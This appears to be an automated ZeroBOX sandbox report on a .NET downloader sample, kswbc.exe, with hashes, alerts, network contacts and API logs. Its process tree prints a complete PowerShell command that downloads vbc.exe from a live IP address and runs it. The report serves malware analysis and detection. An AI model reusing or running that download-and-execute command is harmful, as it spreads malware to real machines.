Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 3, 2021, 9:11 a.m.	Sept. 3, 2021, 9:19 a.m.

Size	4.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`b5bace5942a11ab8ce216ca558f81812`
SHA256	`5c9a6aca5e4cc643a1c9d8f846bf0444577bf45ef94f5a2ac5012c810d277248`
CRC32	`AD11307B`
ssdeep	`48:6jtubkBLMJmlRCQ0o7jhIBhZsjyiv2olvMPln9fOulPTKqXSfbNtm:uu2JbN79C+jnZvMNnb9TSzNt`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) IsPE32 - (no description)

kswbc.exe "C:\Users\test22\AppData\Local\Temp\kswbc.exe"
248
- cmd.exe "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
  1944
  - powershell.exe powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')
    1616
  - powershell.exe powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
    2168
    - vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
      2808

Name	Response	Post-Analysis Lookup
img.neko.airforce	A 167.172.239.151	167.172.239.151

IP Address	Status	Action
164.124.101.2	Active	Moloch
167.172.239.151	Active	Moloch
198.23.251.109	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49171 -> 167.172.239.151:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49172 -> 167.172.239.151:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 167.172.239.151:443 -> 192.168.56.102:49173	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49167 -> 198.23.251.109:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49167 -> 198.23.251.109:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 198.23.251.109:80 -> 192.168.56.102:49167	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 198.23.251.109:80 -> 192.168.56.102:49167	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 198.23.251.109:80 -> 192.168.56.102:49167	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 3, 2021, 9:12 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 3, 2021, 9:11 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:11 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:11 a.m.			0	0
IsDebuggerPresent Sept. 3, 2021, 9:12 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002f7e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a4ba0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a4ba0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a4ba0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b31a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b31a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3440 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3280 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b3de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d6520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d6520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d6520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002d6520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4ef670 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4ef670 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003e3f80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000455c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000455c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000455c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000046cea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000046cea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000046cf80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000046cf80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000046cf80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 3, 2021, 9:12 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000046cf80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 3, 2021, 9:11 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://198.23.251.109/kswbc/vbc.exe

Performs some HTTP requests (1 event)

request

GET http://198.23.251.109/kswbc/vbc.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 399 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000007b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1431000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1acb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002170000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000022a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1432000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1434000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1434000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1434000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1434000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d6c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d96000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91ccc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91de0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cdb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 region_size: 1048576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000023a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002420000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1431000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16ae000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16ae000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
